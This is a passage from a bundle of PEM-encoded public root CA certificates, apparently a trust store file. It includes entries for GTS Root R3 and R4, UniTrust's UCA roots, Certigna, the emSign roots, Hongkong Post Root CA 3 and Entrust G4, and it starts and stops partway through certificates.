BQADggIBALZp8KZ3/p7uC4Gt4cCpx/k1HUCCq+YEtN/L9x0Pg/B+E02NjO7jMyLDOfxA325BS0JT vhaI8dI4XsRomRyYUpOM52jtG2pzegVATX9lO9ZY8c6DR2Dj/5epnGB3GFW1fgiTz9D2PGcDFWEJ +YF59exTpJ/JjwGLc8R3dtyDovUMSRqodt6Sm2T4syzFJ9MHwAiApJiS4wGWAqoC7o87xdFtCjMw c3i5T1QWvwsHoaRc5svJXISPD+AVdyx+Jn7axEvbpxZ3B7DNdehyQtaVhJ2Gg/LkkM0JR9SLA3Da WsYDQvTtN6LwG1BUSw7YhN4ZKJmBR64JGz9I0cNv4rBgF/XuIwKl2gBbbZCr7qLpGzvpx0QnRY5r n/WkhLx3+WuXrD5RRaIRpsyF7gpo8j5QOHokYh4XIDdtak23CZvJ/KRY9bb7nE4Yu5UC56Gtmwfu Nmsk0jmGwZODUNKBRqhfYlcsu2xkiAhu7xNUX90txGdj08+JN7+dIPT7eoOboB6BAFDC5AwiWVIQ 7UNWhwD4FFKnHYuTjKJNRn8nxnGbJN7k2oaLDX5rIMHAnuFl2GqjpuiFizoHCBy69Y9Vmhh1fuXs gWbRIXOhNUQLgD1bnF5vKheW0YMjiGZt5obicDIvUiLnyOd/xCxgXS/Dr55FBcOEArf9LAhST4Ld o/DUhgkC -----END CERTIFICATE----- GTS Root R3 =========== -----BEGIN CERTIFICATE----- MIICDDCCAZGgAwIBAgIQbkepx2ypcyRAiQ8DVd2NHTAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJV UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg UjMwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcq hkjOPQIBBgUrgQQAIgNiAAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUU Rout736GjOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL24Cej QjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTB8Sa6oC2uhYHP 0/EqEr24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEAgFukfCPAlaUs3L6JbyO5o91lAFJekazInXJ0 glMLfalAvWhgxeG4VDvBNhcl2MG9AjEAnjWSdIUlUfUk7GRSJFClH9voy8l27OyCbvWFGFPouOOa KaqW04MjyaR7YbPMAuhd -----END CERTIFICATE----- GTS Root R4 =========== -----BEGIN CERTIFICATE----- MIICCjCCAZGgAwIBAgIQbkepyIuUtui7OyrYorLBmTAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJV UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg UjQwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcq hkjOPQIBBgUrgQQAIgNiAATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa 6zzuhXyiQHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvRHYqj QjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSATNbrdP9JNqPV 2Py1PsVq8JQdjDAKBggqhkjOPQQDAwNnADBkAjBqUFJ0CMRw3J5QdCHojXohw0+WbhXRIjVhLfoI N+4Zba3bssx9BzT1YBkstTTZbyACMANxsbqjYAuG7ZoIapVon+Kz4ZNkfF6Tpt95LY2F45TPI11x zPKwTdb+mciUqXWi4w== -----END CERTIFICATE----- UCA Global G2 Root ================== -----BEGIN CERTIFICATE----- MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9MQswCQYDVQQG EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBHbG9iYWwgRzIgUm9vdDAeFw0x NjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0xCzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlU cnVzdDEbMBkGA1UEAwwSVUNBIEdsb2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEAxeYrb3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmT oni9kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzmVHqUwCoV 8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/RVogvGjqNO7uCEeBHANBS h6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDcC/Vkw85DvG1xudLeJ1uK6NjGruFZfc8o LTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIjtm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/ R+zvWr9LesGtOxdQXGLYD0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBe KW4bHAyvj5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6DlNaBa 4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6iIis7nCs+dwp4wwc OxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznPO6Q0ibd5Ei9Hxeepl2n8pndntd97 8XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O BBYEFIHEjMz15DD/pQwIX4wVZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo 5sOASD0Ee/ojL3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5 1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl1qnN3e92mI0A Ds0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oUb3n09tDh05S60FdRvScFDcH9 yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LVPtateJLbXDzz2K36uGt/xDYotgIVilQsnLAX c47QN6MUPJiVAAwpBVueSUmxX8fjy88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHo jhJi6IjMtX9Gl8CbEGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZk bxqgDMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI+Vg7RE+x ygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGyYiGqhkCyLmTTX8jjfhFn RR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bXUB+K+wb1whnw0A== -----END CERTIFICATE----- UCA Extended Validation Root ============================ -----BEGIN CERTIFICATE----- MIIFWjCCA0KgAwIBAgIQT9Irj/VkyDOeTzRYZiNwYDANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQG EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9u IFJvb3QwHhcNMTUwMzEzMDAwMDAwWhcNMzgxMjMxMDAwMDAwWjBHMQswCQYDVQQGEwJDTjERMA8G A1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwggIi MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCpCQcoEwKwmeBkqh5DFnpzsZGgdT6o+uM4AHrs iWogD4vFsJszA1qGxliG1cGFu0/GnEBNyr7uaZa4rYEwmnySBesFK5pI0Lh2PpbIILvSsPGP2KxF Rv+qZ2C0d35qHzwaUnoEPQc8hQ2E0B92CvdqFN9y4zR8V05WAT558aopO2z6+I9tTcg1367r3CTu eUWnhbYFiN6IXSV8l2RnCdm/WhUFhvMJHuxYMjMR83dksHYf5BA1FxvyDrFspCqjc/wJHx4yGVMR 59mzLC52LqGj3n5qiAno8geK+LLNEOfic0CTuwjRP+H8C5SzJe98ptfRr5//lpr1kXuYC3fUfugH 0mK1lTnj8/FtDw5lhIpjVMWAtuCeS31HJqcBCF3RiJ7XwzJE+oJKCmhUfzhTA8ykADNkUVkLo4KR el7sFsLzKuZi2irbWWIQJUoqgQtHB0MGcIfS+pMRKXpITeuUx3BNr2fVUbGAIAEBtHoIppB/TuDv B0GHr2qlXov7z1CymlSvw4m6WC31MJixNnI5fkkE/SmnTHnkBVfblLkWU41Gsx2VYVdWf6/wFlth WG82UBEL2KwrlRYaDh8IzTY0ZRBiZtWAXxQgXy0MoHgKaNYs1+lvK9JKBZP8nm9rZ/+I8U6laUpS NwXqxhaN0sSZ0YIrO7o1dfdRUVjzyAfd5LQDfwIDAQABo0IwQDAdBgNVHQ4EFgQU2XQ65DA9DfcS 3H5aBZ8eNJr34RQwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQEL BQADggIBADaNl8xCFWQpN5smLNb7rhVpLGsaGvdftvkHTFnq88nIua7Mui563MD1sC3AO6+fcAUR ap8lTwEpcOPlDOHqWnzcSbvBHiqB9RZLcpHIojG5qtr8nR/zXUACE/xOHAbKsxSQVBcZEhrxH9cM aVr2cXj0lH2RC47skFSOvG+hTKv8dGT9cZr4QQehzZHkPJrgmzI5c6sq1WnIeJEmMX3ixzDx/BR4 dxIOE/TdFpS/S2d7cFOFyrC78zhNLJA5wA3CXWvp4uXViI3WLL+rG761KIcSF3Ru/H38j9CHJrAb +7lsq+KePRXBOy5nAliRn+/4Qh8st2j1da3Ptfb/EX3C8CSlrdP6oDyp+l3cpaDvRKS+1ujl5BOW F3sGPjLtx7dCvHaj2GU4Kzg1USEODm8uNBNA4StnDG1KQTAYI1oyVZnJF+A83vbsea0rWBmirSwi GpWOvpaQXUJXxPkUAzUrHC1RVwinOt4/5Mi0A3PCwSaAuwtCH60NryZy2sy+s6ODWA2CxR9GUeOc GMyNm43sSet1UNWMKFnKdDTajAshqx7qG+XH/RU+wBeq+yNuJkbL+vmxcmtpzyKEC2IPrNkZAJSi djzULZrtBJ4tBmIQN1IchXIbJ+XMxjHsN+xjWZsLHXbMfjKaiJUINlK73nZfdklJrX+9ZSCyycEr dhh2n1ax -----END CERTIFICATE----- Certigna Root CA ================ -----BEGIN CERTIFICATE----- MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UE BhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAwMiA0ODE0NjMwODEwMDAzNjEZ MBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0xMzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjda MFoxCzAJBgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYz MDgxMDAwMzYxGTAXBgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sOty3tRQgX stmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9MCiBtnyN6tMbaLOQdLNyz KNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPuI9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8 JXrJhFwLrN1CTivngqIkicuQstDuI7pmTLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16 XdG+RCYyKfHx9WzMfgIhC59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq 4NYKpkDfePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3YzIoej wpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWTCo/1VTp2lc5ZmIoJ lXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1kJWumIWmbat10TWuXekG9qxf5kBdI jzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp/ /TBt2dzhauH8XwIDAQABo4IBGjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw HQYDVR0OBBYEFBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of 1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczovL3d3d3cuY2Vy dGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilodHRwOi8vY3JsLmNlcnRpZ25h LmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYraHR0cDovL2NybC5kaGlteW90aXMuY29tL2Nl cnRpZ25hcm9vdGNhLmNybDANBgkqhkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOIt OoldaDgvUSILSo3L6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxP TGRGHVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH60BGM+RFq 7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncBlA2c5uk5jR+mUYyZDDl3 4bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdio2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd 8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS 6Cvu5zHbugRqh5jnxV/vfaci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaY tlu3zM63Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayhjWZS aX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw3kAP+HwV96LOPNde E4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0= -----END CERTIFICATE----- emSign Root CA - G1 =================== -----BEGIN CERTIFICATE----- MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYDVQQGEwJJTjET MBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRl ZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBHMTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgx ODMwMDBaMGcxCzAJBgNVBAYTAklOMRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVk aHJhIFRlY2hub2xvZ2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQzf2N4aLTN LnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO8oG0x5ZOrRkVUkr+PHB1 cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aqd7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHW DV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhMtTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ 6DqS0hdW5TUaQBw+jSztOd9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrH hQIDAQABo0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQDAgEG MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31xPaOfG1vR2vjTnGs2 vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjMwiI/aTvFthUvozXGaCocV685743Q NcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6dGNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q +Mri/Tm3R7nrft8EI6/6nAYH6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeih U80Bv2noWgbyRQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx iN66zB+Afko= -----END CERTIFICATE----- emSign ECC Root CA - G3 ======================= -----BEGIN CERTIFICATE----- MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQGEwJJTjETMBEG A1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEg MB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4 MTgzMDAwWjBrMQswCQYDVQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11 ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g RzMwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0WXTsuwYc 58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xySfvalY8L1X44uT6EYGQIr MgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuBzhccLikenEhjQjAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+D CBeQyh+KTOgNG3qxrdWBCUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7 jHvrZQnD+JbNR6iC8hZVdyR+EhCVBCyj -----END CERTIFICATE----- emSign Root CA - C1 =================== -----BEGIN CERTIFICATE----- MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkGA1UEBhMCVVMx EzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNp Z24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UE BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQD ExNlbVNpZ24gUm9vdCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+up ufGZBczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZHdPIWoU/ Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH3DspVpNqs8FqOp099cGX OFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvHGPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4V I5b2P/AgNBbeCsbEBEV5f6f9vtKppa+cxSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleooms lMuoaJuvimUnzYnu3Yy1aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+ XJGFehiqTbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQAD ggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87/kOXSTKZEhVb3xEp /6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4kqNPEjE2NuLe/gDEo2APJ62gsIq1 NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrGYQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9 wC68AivTxEDkigcxHpvOJpkT+xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQ BmIMMMAVSKeoWXzhriKi4gp6D/piq1JM4fHfyr6DDUI= -----END CERTIFICATE----- emSign ECC Root CA - C3 ======================= -----BEGIN CERTIFICATE----- MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQGEwJVUzETMBEG A1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMxIDAeBgNVBAMTF2VtU2lnbiBF Q0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UE BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQD ExdlbVNpZ24gRUNDIFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd 6bciMK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4OjavtisIGJAnB9 SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0OBBYEFPtaSNCAIEDyqOkA B2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gA MGUCMQC02C8Cif22TGK6Q04ThHK1rt0c3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwU ZOR8loMRnLDRWmFLpg9J0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ== -----END CERTIFICATE----- Hongkong Post Root CA 3 ======================= -----BEGIN CERTIFICATE----- MIIFzzCCA7egAwIBAgIUCBZfikyl7ADJk0DfxMauI7gcWqQwDQYJKoZIhvcNAQELBQAwbzELMAkG A1UEBhMCSEsxEjAQBgNVBAgTCUhvbmcgS29uZzESMBAGA1UEBxMJSG9uZyBLb25nMRYwFAYDVQQK Ew1Ib25na29uZyBQb3N0MSAwHgYDVQQDExdIb25na29uZyBQb3N0IFJvb3QgQ0EgMzAeFw0xNzA2 MDMwMjI5NDZaFw00MjA2MDMwMjI5NDZaMG8xCzAJBgNVBAYTAkhLMRIwEAYDVQQIEwlIb25nIEtv bmcxEjAQBgNVBAcTCUhvbmcgS29uZzEWMBQGA1UEChMNSG9uZ2tvbmcgUG9zdDEgMB4GA1UEAxMX SG9uZ2tvbmcgUG9zdCBSb290IENBIDMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCz iNfqzg8gTr7m1gNt7ln8wlffKWihgw4+aMdoWJwcYEuJQwy51BWy7sFOdem1p+/l6TWZ5Mwc50tf jTMwIDNT2aa71T4Tjukfh0mtUC1Qyhi+AViiE3CWu4mIVoBc+L0sPOFMV4i707mV78vH9toxdCim 5lSJ9UExyuUmGs2C4HDaOym71QP1mbpV9WTRYA6ziUm4ii8F0oRFKHyPaFASePwLtVPLwpgchKOe sL4jpNrcyCse2m5FHomY2vkALgbpDDtw1VAliJnLzXNg99X/NWfFobxeq81KuEXryGgeDQ0URhLj 0mRiikKYvLTGCAj4/ahMZJx2Ab0vqWwzD9g/KLg8aQFChn5pwckGyuV6RmXpwtZQQS4/t+TtbNe/ JgERohYpSms0BpDsE9K2+2p20jzt8NYt3eEV7KObLyzJPivkaTv/ciWxNoZbx39ri1UbSsUgYT2u y1DhCDq+sI9jQVMwCFk8mB13umOResoQUGC/8Ne8lYePl8X+l2oBlKN8W4UdKjk60FSh0Tlxnf0h +bV78OLgAo9uliQlLKAeLKjEiafv7ZkGL7YKTE/bosw3Gq9HhS2KX8Q0NEwA/RiTZxPRN+ZItIsG xVd7GYYKecsAyVKvQv83j+GjHno9UKtjBucVtT+2RTeUN7F+8kjDf8V1/peNRY8apxpyKBpADwID AQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBQXnc0e i9Y5K3DTXNSguB+wAPzFYTAdBgNVHQ4EFgQUF53NHovWOStw01zUoLgfsAD8xWEwDQYJKoZIhvcN AQELBQADggIBAFbVe27mIgHSQpsY1Q7XZiNc4/6gx5LS6ZStS6LG7BJ8dNVI0lkUmcDrudHr9Egw W62nV3OZqdPlt9EuWSRY3GguLmLYauRwCy0gUCCkMpXRAJi70/33MvJJrsZ64Ee+bs7Lo3I6LWld y8joRTnU+kLBEUx3XZL7av9YROXrgZ6voJmtvqkBZss4HTzfQx/0TW60uhdG/H39h4F5ag0zD/ov +BS5gLNdTaqX4fnkGMX41TiMJjz98iji7lpJiCzfeT2OnpA8vUFKOt1b9pq0zj8lMH8yfaIDlNDc eqFS3m6TjRgm/VWsvY+b0s+v54Ysyx8Jb6NvqYTUc79NoXQbTiNg8swOqn+knEwlqLJmOzj/2ZQw 9nKEvmhVEA/GcywWaZMH/rFF7buiVWqw2rVKAiUnhde3t4ZEFolsgCs+l6mc1X5VTMbeRRAc6uk7 nwNT7u56AQIWeNTowr5GdogTPyK7SBIdUgC0An4hGh6cJfTzPV4e0hz5sy229zdcxsshTrD3mUcY hcErulWuBurQB7Lcq9CClnXO0lD+mefPL5/ndtFhKvshuzHQqp9HpLIiyhY6UFfEW0NnxWViA0kB 60PZ2Pierc+xYw5F9KBaLJstxabArahH9CdMOA0uG0k7UvToiIMrVCjU8jVStDKDYmlkDJGcn5fq dBb9HxEGmpv0 -----END CERTIFICATE----- Entrust Root Certification Authority - G4 ========================================= -----BEGIN CERTIFICATE----- MIIGSzCCBDOgAwIBAgIRANm1Q3+vqTkPAAAAAFVlrVgwDQYJKoZIhvcNAQELBQAwgb4xCzAJBgNV BAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3Qu bmV0L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxNSBFbnRydXN0LCBJbmMuIC0gZm9yIGF1 dGhvcml6ZWQgdXNlIG9ubHkxMjAwBgNVBAMTKUVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1 dGhvcml0eSAtIEc0MB4XDTE1MDUyNzExMTExNloXDTM3MTIyNzExNDExNlowgb4xCzAJBgNVBAYT AlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0 L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxNSBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxMjAwBgNVBAMTKUVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSAtIEc0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAsewsQu7i0TD/pZJH4i3D umSXbcr3DbVZwbPLqGgZ2K+EbTBwXX7zLtJTmeH+H17ZSK9dE43b/2MzTdMAArzE+NEGCJR5WIoV 3imz/f3ET+iq4qA7ec2/a0My3dl0ELn39GjUu9CH1apLiipvKgS1sqbHoHrmSKvS0VnM1n4j5pds 8ELl3FFLFUHtSUrJ3hCX1nbB76W1NhSXNdh4IjVS70O92yfbYVaCNNzLiGAMC1rlLAHGVK/XqsEQ e9IFWrhAnoanw5CGAlZSCXqc0ieCU0plUmr1POeo8pyvi73TDtTUXm6Hnmo9RR3RXRv06QqsYJn7 ibT/mCzPfB3pAqoEmh643IhuJbNsZvc8kPNXwbMv9W3y+8qh+CmdRouzavbmZwe+LGcKKh9asj5X xNMhIWNlUpEbsZmOeX7m640A2Vqq6nPopIICR5b+W45UYaPrL0swsIsjdXJ8ITzI9vF01Bx7owVV 7rtNOzK+mndmnqxpkCIHH2E6lr7lmk/MBTwoWdPBDFSoWWG9yHJM6Nyfh3+9nEg2XpWjDrk4JFX8 